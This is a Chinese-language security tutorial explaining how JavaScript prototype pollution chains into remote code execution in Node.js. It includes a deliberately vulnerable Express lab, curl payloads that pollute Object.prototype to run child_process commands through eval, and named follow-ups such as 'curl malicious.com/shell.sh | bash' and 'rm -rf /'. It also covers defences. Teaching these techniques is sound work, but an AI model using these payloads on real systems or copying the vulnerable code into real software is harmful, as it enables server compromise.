从原型污染到RCE:前端漏洞如何演变为服务器端代码执行攻击
1. 项目概述:从客户端原型污染到RCE的完整攻击链剖析
最近在复盘一些前端安全审计案例时,一个典型的攻击链引起了我的注意:攻击者利用客户端JavaScript代码中的原型污染漏洞,最终实现了远程代码执行。这个链条听起来有点绕,但一旦理清,你会发现它揭示了现代Web应用安全中一个非常隐蔽且危险的攻击面。它不仅仅是前端的一个小把戏,而是一条从客户端“小问题”直通服务器“大麻烦”的完整通路。简单来说,就是攻击者先在前端JavaScript中“污染”了对象的原型链,然后利用这个被污染的状态,去影响或操控后续的应用程序逻辑,最终在服务器端或客户端执行任意代码。理解这条链,对于开发者和安全研究员都至关重要,它能帮你真正看清一个看似无害的客户端漏洞,是如何被一步步放大成严重安全事件的。
2. 核心概念拆解:什么是原型污染与RCE?
在深入攻击链之前,我们必须把两个核心概念掰开揉碎了讲清楚。很多文章只讲现象,但搞懂原理才能有效防御。
2.1 JavaScript原型污染的本质与常见触发点
原型污染,英文是Prototype Pollution。要理解它,你得先忘掉那些复杂的定义,从JavaScript最根本的原型链继承机制想起。在JS里,几乎所有的对象都有一个隐藏的__proto__属性(现在更推荐用Object.getPrototypeOf()),它指向创建这个对象的构造函数的prototype对象。当你访问一个对象的属性时,如果这个对象自身没有,JS引擎就会沿着__proto__这条链往上找,直到找到或者到达链条的尽头(null)。
原型污染攻击,就是攻击者通过某种方式,向基础对象(比如Object.prototype)添加或修改属性。一旦成功,所有继承了该原型的对象都会“自动”拥有这个被污染的属性,因为查找机制会沿着原型链找到它。
那么,攻击者怎么“污染”呢?最常见入口有两个:
不安全的对象合并(Merge/Extend):这是重灾区。很多工具函数或库(如jQuery的
$.extend, Lodash的_.merge,或者开发者自己写的工具函数)用于深度合并对象。如果合并逻辑没有对__proto__、constructor、prototype等特殊属性进行过滤,攻击者就可以通过控制输入来注入这些属性。// 一个不安全的深度合并函数示例 function merge(target, source) { for (let key in source) { if (typeof source[key] === 'object') { if (!target[key]) target[key] = {}; merge(target[key], source[key]); // 递归合并 } else { target[key] = source[key]; // 直接赋值 } } return target; } // 攻击者可控的输入 let maliciousPayload = JSON.parse('{"__proto__": {"polluted": "yes"}}'); // 或者通过URL参数、请求体传入 let userInput = {__proto__: {polluted: 'yes'}}; let obj = {}; merge({}, userInput); // 触发污染! console.log(({}).polluted); // 输出: 'yes'。空对象竟然有了polluted属性!关键在于,当
key是"__proto__"时,target[key]实际上是在修改target.__proto__,也就是target的原型对象。如果target是{},其原型就是Object.prototype。这就直接污染了所有对象的根源。不安全的对象路径设置(Path Assignment):一些库提供了通过字符串路径来动态设置对象深层属性的功能,例如
lodash.set或dset。如果路径解析逻辑有缺陷,攻击者可以构造像“__proto__.polluted”这样的路径字符串,达到同样的污染效果。const set = require('lodash.set'); let obj = {}; set(obj, '__proto__.polluted', 'hacked'); console.log(({}).polluted); // 输出: 'hacked'
注意:现代版本的Lodash等库已经修复了这些问题。但很多老旧代码、自定义工具函数或小众库中,此类漏洞依然广泛存在。审计时,要重点关注任何接受外部输入并用于修改对象结构的函数。
2.2 RCE的终极目标与常见场景
RCE,远程代码执行,是漏洞利用的“皇冠”。它意味着攻击者能够从远程位置,在目标系统上执行任意命令或代码。在Web安全语境下,RCE通常发生在服务器端(Server-Side RCE),但客户端(如Node.js桌面应用、Electron应用)也可能成为目标。
服务器端RCE的常见触发点包括:
- 模板引擎注入:如Jinja2(Python)、Freemarker(Java)、Pug/Jade(Node.js)等,如果用户输入被直接嵌入模板并执行,可能导致代码执行。
- 反序列化漏洞:不安全的反序列化操作(如PHP的
unserialize(),Java的ObjectInputStream,Python的pickle)可以导致任意类加载和代码执行。 - 命令注入:将用户输入直接拼接到系统命令中执行(如
exec(userInput))。 - 代码注入:动态执行用户输入的代码,如
eval()、setTimeout(userInput)、Function(userInput)等。
这条攻击链的狡猾之处在于,原型污染本身通常不能直接导致RCE。它更像是一个“杠杆”或“开关”,为攻击者创造条件,去触发另一个本应被安全边界限制的RCE漏洞。污染是“因”,用来改变程序的行为或状态;而最终的RCE是“果”,是程序在污染后的异常状态下执行了危险操作。
3. 攻击链全景:从污染到执行的完整路径
理解了基本概念,我们来看这条链是如何串联起来的。它通常不是一步到位的,而是环环相扣的“组合拳”。下图描绘了典型的攻击流程:
graph TD A[攻击起点: 用户可控输入] --> B{入口点: 存在漏洞的函数}; B -- 如不安全的 merge/set --> C[达成: 原型污染]; C --> D[影响: 应用程序逻辑/配置]; D --> E[寻找: 可利用的“跳板” Gadget]; E --> F[触发: 高危操作]; F --> G[最终目标: 实现RCE]; subgraph “污染利用阶段” D E end style C fill:#ffcccc style G fill:#ff9999,stroke:#333,stroke-width:2px从上图可以看出,攻击始于攻击者可控的输入,通过存在漏洞的接口(如对象合并函数)实现原型污染。污染成功后,攻击者并不直接攻击,而是利用污染来改变应用程序的某些关键逻辑或配置,寻找一个能导致代码执行的“跳板”(Gadget)。最终,通过这个被污染的“跳板”,触发高危操作,达成RCE。
3.1 第一阶段:识别与利用原型污染点
攻击的第一步是找到那个不安全的对象操作点。作为开发者或安全测试人员,你需要:
- 代码审计:全局搜索关键词,如
merge、extend、assign(注意深度合并)、set(带路径的)、deepClone、JSON.parse后接合并操作等。仔细审查这些函数的实现,看是否对__proto__、constructor、prototype进行了过滤。 - 黑盒测试:在参数中尝试注入原型污染Payload。常见测试Payload有:
{"__proto__": {"polluted": "test"}}{"constructor": {"prototype": {"polluted": "test"}}}- URL参数形式:
?__proto__[polluted]=test或?constructor[prototype][polluted]=test提交后,观察应用行为是否异常,或者通过浏览器开发者工具检查任意对象的属性(如console.log(({}).polluted))来确认污染是否成功。
- 工具辅助:使用像
pp-finder这样的浏览器扩展,或DOM Invader(Burp Suite内置)等工具,可以自动探测原型污染漏洞。
3.2 第二阶段:寻找污染后的可利用“跳板”
污染成功只是拿到了“钥匙”,还得找到能打开的“门”。这个“门”就是所谓的Gadget——一段现有的、看似无害的代码,在原型被污染后,其行为会变得危险。寻找Gadget是攻击链中最需要经验和技巧的部分。通常有两类:
影响配置或选项:很多库或框架会从全局对象或默认配置中读取选项。如果通过原型污染修改了这些默认值,就可能改变程序的安全行为。
- 例如:污染
Object.prototype.nosql,可能影响某些ORM库的查询解析,导致NoSQL注入。 - 例如:污染
Object.prototype.autoEscape为false,可能导致模板引擎关闭自动转义,从而引发XSS(虽然还不是RCE,但思路类似)。
- 例如:污染
影响代码执行流:这是通向RCE的关键。目标是找到那些会基于对象属性动态执行代码的函数。
- 经典案例 - 污染
Object.prototype.block影响Pug模板:在旧版本的Pug模板引擎中,编译后的模板函数会检查一个block属性。如果通过原型污染给所有对象加上了block属性,并且这个属性值是一个函数或危险字符串,就可能被模板引擎执行。 - 寻找
eval、setTimeout、Function构造器、require的动态调用:审计代码,寻找那些使用对象属性作为参数来调用这些危险函数的代码片段。一旦污染了该属性,就控制了执行的代码。
- 经典案例 - 污染
3.3 第三阶段:构造最终RCE载荷
找到Gadget后,就需要精心构造污染载荷,让Gadget执行我们想要的命令。这通常需要结合具体的Gadget和环境。
一个模拟的、高度简化的案例场景: 假设我们有一个使用Express和某个存在污染漏洞的工具库utils.merge的Node.js服务。服务中有一段不安全的代码,使用eval执行来自某个配置对象的script属性。
存在漏洞的合并:
// app.js - 服务端代码 const utils = require('./utils'); // 假设utils.merge存在原型污染漏洞 const express = require('express'); const app = express(); app.use(express.json()); app.post('/api/config', (req, res) => { let defaultConfig = { mode: 'safe' }; // 危险!将用户输入的req.body与默认配置合并 let userConfig = utils.merge({}, defaultConfig, req.body); // ... 其他处理,将userConfig存入某处或传递给其他模块 someModule.loadConfig(userConfig); res.send('ok'); });存在Gadget的模块:
// someModule.js module.exports.loadConfig = function(config) { // 危险!动态执行config中的script属性 if (config.script) { // 假设这里是为了“灵活”地执行一些初始化脚本 eval(config.script); // Gadget在这里! } // ... 其他加载逻辑 };攻击链构造:
- 攻击者向
/api/config发送POST请求。 - 请求体(
req.body)包含双重Payload:{ "__proto__": { "script": "require('child_process').exec('calc.exe');" }, "otherData": "value" } utils.merge函数在处理时发生原型污染,使得Object.prototype.script被赋值为恶意字符串。- 当
someModule.loadConfig被调用时,它接收到的userConfig对象本身可能没有script属性。但由于原型污染,config.script会沿着原型链找到Object.prototype.script,也就是我们的恶意代码。 eval执行了require('child_process').exec('calc.exe');,在服务器上弹出了计算器(模拟RCE)。
- 攻击者向
实操心得:在实际攻击中,情况远比这复杂。
eval可能被隐藏得很深,或者需要串联多个Gadget。攻击者需要仔细研究目标应用的源代码或通过黑盒测试探测行为,才能构造出有效的利用链。这通常是一个“侦查-污染-测试-利用”的反复过程。
4. 真实世界案例研究与工具链
理论需要结合实践。我们来看一个历史上著名的、影响深远的案例:通过污染Object.prototype.block结合Pug模板引擎实现RCE。这个案例完美诠释了攻击链的复杂性。
4.1 案例分析:CVE-2021-25931等系列漏洞
在Pug模板引擎(特别是其前身Jade)的某些实现中,编译后的模板函数内部会使用一个名为block的变量。这个变量预期是从模板数据对象中获取的。然而,如果数据对象没有block属性,JavaScript会沿着原型链查找。
攻击者通过原型污染(例如,利用一个前端库如lodash.merge的漏洞,或者通过API参数污染),成功向Object.prototype添加了一个block属性。这个属性可以被设置为一个函数或一个字符串。
当被污染的模板进行渲染时,Pug引擎会执行到类似这样的逻辑:var block = data.block || defaultBlock;。由于data本身没有block,它找到了被污染的Object.prototype.block。如果block被污染成一个恶意函数或包含恶意代码的字符串,在模板渲染过程中就可能被调用或拼接执行,从而导致服务器端代码执行。
这个案例的链条是:
- 应用使用有漏洞的
lodash.merge(CVE-2019-10744等)处理用户输入。 - 攻击者提交污染
__proto__.block的Payload。 - 应用在后续的某个请求中,渲染了一个Pug模板。
- Pug引擎读取被污染的
block属性。 - 恶意代码被执行,实现RCE。
4.2 攻击者视角:使用的工具与技术
了解攻击者的工具包,有助于我们更好地防御。
探测工具:
- 浏览器扩展:如
pp-finder,能自动扫描页面并尝试原型污染。 - Burp Suite插件:如
DOM Invader,集成了强大的客户端漏洞(包括原型污染)探测能力。 - 自定义脚本:攻击者常编写Python或Node.js脚本,批量对API端点进行污染Payload测试。
- 浏览器扩展:如
Gadget发现:
- 源代码审计:如果能有部分源代码(如开源库、泄露的源码),攻击者会直接搜索
eval、new Function、setTimeout、require等关键字,分析其调用上下文。 - 黑盒模糊测试:在污染成功后,向应用发送大量随机或结构化的数据,观察应用的行为变化、错误信息,从中推断可能的Gadget。例如,如果污染某个属性后,原本正常的模板渲染报出奇怪的语法错误,这可能暗示该属性被模板引擎使用。
- 已知Gadget库:安全研究人员会公开一些常见库的污染Gadget,攻击者会尝试将这些已知的Gadget与目标应用进行匹配。
- 源代码审计:如果能有部分源代码(如开源库、泄露的源码),攻击者会直接搜索
利用框架:
- 一些高级的攻击工具或概念验证(PoC)脚本,能够将污染和利用过程自动化。例如,针对特定版本
lodash+Pug组合的自动化利用脚本。
- 一些高级的攻击工具或概念验证(PoC)脚本,能够将污染和利用过程自动化。例如,针对特定版本
4.3 防御者视角:如何检测与拦截
防御需要多层次进行,从开发到运维都不能松懈。
代码层面(治本):
- 使用安全的库和函数:升级
lodash、jQuery、hoek等已知存在污染漏洞的库到最新版本。使用Object.assign进行浅拷贝(它不会污染原型),对于深拷贝,使用明确声明安全的库或函数,如lodash的_.cloneDeep(已修复)。 - 实现安全的合并函数:如果必须自己写,务必在合并前过滤键名。
function safeMerge(target, source) { for (let key in source) { if (key === '__proto__' || key === 'constructor' || key === 'prototype') { continue; // 直接跳过敏感键 } if (typeof source[key] === 'object' && source[key] !== null) { if (!target[key]) target[key] = {}; safeMerge(target[key], source[key]); } else { target[key] = source[key]; } } return target; } - 冻结
Object.prototype:在极度敏感的应用入口,可以考虑使用Object.freeze(Object.prototype)来防止原型被修改。但这可能影响某些库的正常运行,需谨慎测试。 - 使用
Object.create(null)创建纯净对象:对于用作映射(Map)的字典对象,使用Object.create(null)创建没有原型的对象,彻底杜绝原型链查找的干扰。
- 使用安全的库和函数:升级
依赖管理:
- 使用
npm audit或yarn audit定期检查依赖中的已知漏洞。 - 使用Snyk、Dependabot等工具集成到CI/CD流程中,自动扫描和修复漏洞依赖。
- 使用
运行时/运维层面:
- 输入验证与净化:对所有用户输入进行严格的验证和类型检查。对于JSON输入,可以使用
schema验证库(如ajv)确保数据结构符合预期,并拒绝包含__proto__等特殊键名的对象。 - 沙箱与隔离:对于必须执行动态代码的场景(应尽量避免),使用严格的沙箱环境,如Node.js的
vm模块(但需谨慎配置)或更安全的隔离方案(如Docker容器、独立的子进程)。 - 最小权限原则:运行应用程序的进程应具有最小必要的权限,避免使用root或高权限账户,这样即使发生RCE,造成的破坏也有限。
- WAF(Web应用防火墙)规则:可以配置WAF规则来拦截请求体中包含可疑序列(如
“__proto__”、“constructor[prototype]”)的请求。但这只是一种缓解措施,聪明的攻击者可能会进行编码或混淆。
- 输入验证与净化:对所有用户输入进行严格的验证和类型检查。对于JSON输入,可以使用
5. 实战演练:搭建靶场与漏洞复现
“纸上得来终觉浅,绝知此事要躬行。”要真正理解这条攻击链,最好的方法是在受控环境中亲手复现一遍。下面我将引导你搭建一个简单的、存在漏洞的Node.js应用,并完成从原型污染到RCE的完整攻击。
5.1 环境准备与漏洞应用搭建
我们创建一个最简单的Express应用,它有两个致命漏洞:一个不安全的合并函数,和一个危险的eval用法。
初始化项目:
mkdir prototype-pollution-rce-lab cd prototype-pollution-rce-lab npm init -y安装依赖:
npm install express创建有漏洞的
utils.js:// utils.js - 这是一个存在原型污染漏洞的深度合并函数 function vulnerableMerge(target, ...sources) { sources.forEach(source => { for (const key in source) { if (typeof source[key] === 'object' && source[key] !== null) { if (!target[key]) { target[key] = {}; } vulnerableMerge(target[key], source[key]); // 递归,未过滤key } else { target[key] = source[key]; // 直接赋值 } } }); return target; } module.exports = { merge: vulnerableMerge };创建主应用
app.js:// app.js - 主应用,包含Gadget const express = require('express'); const { merge } = require('./utils'); const app = express(); const port = 3000; app.use(express.json()); // 解析JSON请求体 // 一个“配置”对象,模拟从数据库或默认值加载 let appConfig = { name: 'Vulnerable App', features: { logging: true } }; // 漏洞端点1:接收配置更新(污染入口) app.post('/updateConfig', (req, res) => { console.log('Received body:', req.body); // 危险操作:直接将用户输入合并到配置对象 appConfig = merge({}, appConfig, req.body); res.json({ message: 'Config updated', config: appConfig }); }); // 漏洞端点2:执行“动态脚本”(Gadget) app.get('/runScript', (req, res) => { // 模拟从配置中读取脚本并执行 // 注意:这里直接读取appConfig.script,它可能来自原型链! if (appConfig.script) { try { // 高危操作:使用eval执行配置中的脚本 const result = eval(appConfig.script); res.json({ message: 'Script executed', result: result }); } catch (err) { res.status(500).json({ error: err.message }); } } else { res.json({ message: 'No script configured' }); } }); // 一个辅助端点,查看当前原型是否被污染 app.get('/checkPollution', (req, res) => { const isPolluted = ({}).polluted === 'yes'; res.json({ polluted: isPolluted }); }); app.listen(port, () => { console.log(`Vulnerable app listening at http://localhost:${port}`); });启动应用:
node app.js
5.2 分步攻击演示与原理验证
现在,我们使用curl或Postman来模拟攻击者。
步骤一:验证污染入口首先,检查污染是否可行。我们向
/updateConfig发送一个污染Payload。curl -X POST http://localhost:3000/updateConfig \ -H "Content-Type: application/json" \ -d '{"features": {"debug": false}, "__proto__": {"polluted": "yes"}}'发送后,访问
/checkPollution端点:curl http://localhost:3000/checkPollution如果返回
{"polluted":true},恭喜你,原型污染成功了!Object.prototype.polluted已经被设置为"yes"。步骤二:识别Gadget在我们的应用中,Gadget很明显,就是
/runScript端点,它会执行appConfig.script。但注意,appConfig对象本身并没有script属性。我们的目标是让appConfig.script通过原型链找到我们污染的值。步骤三:构造RCE载荷并执行我们需要污染
Object.prototype.script,使其包含恶意代码。由于eval在Node.js环境中,我们可以执行系统命令。我们使用Node.js的child_process模块。curl -X POST http://localhost:3000/updateConfig \ -H "Content-Type: application/json" \ -d '{"__proto__": {"script": "require(\"child_process\").execSync(\"whoami\").toString()"}}'这个Payload污染了
script属性,其值是一段JS代码:同步执行whoami命令并返回结果。步骤四:触发Gadget,实现RCE现在,访问
/runScript端点,触发eval执行被污染的script。curl http://localhost:3000/runScript你应该会看到返回结果中包含服务器当前运行进程的用户名(如
root、ubuntu等)。这证明远程代码执行成功了!攻击者可以将whoami替换成任意命令,如rm -rf /、curl malicious.com/shell.sh | bash等,造成严重后果。
踩坑记录与注意事项:
- Payload转义:在JSON中传递字符串,需要对双引号和反斜杠进行转义(
\"和\\)。这是实际操作中最容易出错的地方。- 环境差异:你的实验环境可能没有安装
child_process模块(实际上Node.js核心模块默认都有),但如果是非常精简的环境,可能需要考虑其他执行命令的方式。- 命令注入与输出:
execSync会返回命令的输出,适合演示。实际攻击中,攻击者可能使用exec异步执行,或者将输出重定向到网络请求,以隐藏痕迹。- 现实世界的隐蔽性:真实的Gadget不会这么明显。
eval可能藏在第三方库的深处,script属性可能有别的名字,触发污染和触发Gadget的可能是两个完全不同的API端点,中间有时间间隔。攻击链的挖掘需要耐心和细致的分析。
6. 防御策略深度解析与进阶话题
通过实战,我们看到了漏洞的威力。现在,让我们系统性地梳理防御策略,并探讨一些更深入的话题。
6.1 分层防御体系构建
单一防御措施容易被绕过,必须建立纵深防御。
| 防御层 | 具体措施 | 原理与目的 |
|---|---|---|
| 代码层 | 1. 使用安全的库(如Lodash >= 4.17.12)。 2. 使用 Object.create(null)创建无原型对象。3. 实现安全的合并函数(过滤 __proto__等键)。4. 避免使用 eval、new Function等动态执行。 | 从根源上消除漏洞产生的条件,是最有效的防御。 |
| 输入验证层 | 1. 对所有输入进行严格的Schema验证。 2. 使用 JSON.parse的reviver参数或预处理函数过滤敏感键。3. 对传入对象进行“净化”,删除或拒绝原型相关键。 | 将恶意Payload阻挡在业务逻辑之外。 |
| 依赖管理 | 1. 定期运行npm audit。2. 使用Dependabot、Snyk等自动化工具。 3. 锁定依赖版本( package-lock.json)。 | 防止已知漏洞的第三方库被引入。 |
| 运行时加固 | 1. 使用Object.freeze(Object.prototype)(谨慎)。2. 在Docker容器中以非root用户运行。 3. 使用Seccomp、AppArmor等限制系统调用。 | 即使漏洞被利用,也能限制攻击造成的破坏范围。 |
| 监控与响应 | 1. 监控应用中异常的eval或spawn调用。2. 记录包含可疑模式的请求日志。 3. 部署WAF并更新规则库。 | 及时发现攻击行为并快速响应。 |
6.2 针对特定场景的加固方案
- 对于必须处理动态JSON配置的应用:使用
JSON.parse的reviver(替换器)函数。const safeReviver = (key, value) => { const forbiddenKeys = ['__proto__', 'constructor', 'prototype']; if (forbiddenKeys.includes(key)) { return undefined; // 直接丢弃这个属性 } return value; }; const parsed = JSON.parse(userInput, safeReviver); - 对于使用了易受攻击模板引擎的应用:确保将用户输入与模板渲染上下文明确分离,永远不要将未经净化的用户对象直接传入模板渲染函数。使用模板引擎提供的上下文转义功能。
6.3 进阶话题:Client-Side Prototype Pollution (CSPP) 与 RCE
我们讨论的主要是服务端Node.js的场景。但在纯前端(浏览器)环境中,原型污染同样危险,虽然通常无法直接导致服务端RCE,但可以导致严重的客户端攻击:
- DOM XSS:通过污染影响前端框架(如AngularJS, Vue 2.x)的模板或属性绑定,可以注入恶意脚本,实现跨站脚本攻击。
- 客户端逻辑绕过:污染全局配置,可能绕过前端的安全检查、认证状态等。
- 结合其他漏洞:如果前端应用内嵌了Node.js环境(如Electron、NW.js),那么客户端的原型污染有可能最终影响到Node.js部分,从而形成一条从客户端到客户端本地RCE的攻击链。这在Electron应用中尤其需要警惕,因为Electron渲染进程(前端)通常与主进程(Node.js)有IPC通信,污染可能通过IPC传递或影响共享的全局对象。
防御客户端原型污染,除了应用上述部分策略外,还应:
- 使用内容安全策略(CSP)来限制脚本执行。
- 对来自服务端的数据在渲染前进行净化。
- 避免在前端使用存在已知污染漏洞的库。
6.4 自动化检测与未来展望
手动挖掘原型污染到RCE的链条非常耗时。未来,自动化工具将扮演更重要的角色:
- 静态分析(SAST):工具可以分析源代码,识别不安全的合并函数和潜在的Gadget(如
eval调用),并建立数据流关联,报告潜在的污染到RCE链条。 - 动态分析(IAST/DAST):在应用运行时,通过插桩或流量分析,检测原型污染是否发生,并尝试自动发现可利用的Gadget。
- 模糊测试:向应用注入大量结构化的污染Payload,并监控应用的后端进程是否产生了异常的子进程或网络连接,以此发现潜在的RCE。
对于开发者而言,最根本的还是要提高安全意识,在代码设计和评审阶段就将“安全的默认值”和“最小化攻击面”作为基本原则。每一次eval的使用,每一次深度合并的操作,都应该被当作潜在的安全风险来严肃对待。这条从客户端原型污染到RCE的攻击链,虽然曲折,但它清晰地告诉我们,安全是一个整体,任何一个环节的疏忽,都可能被攻击者串联起来,造成致命的破坏。
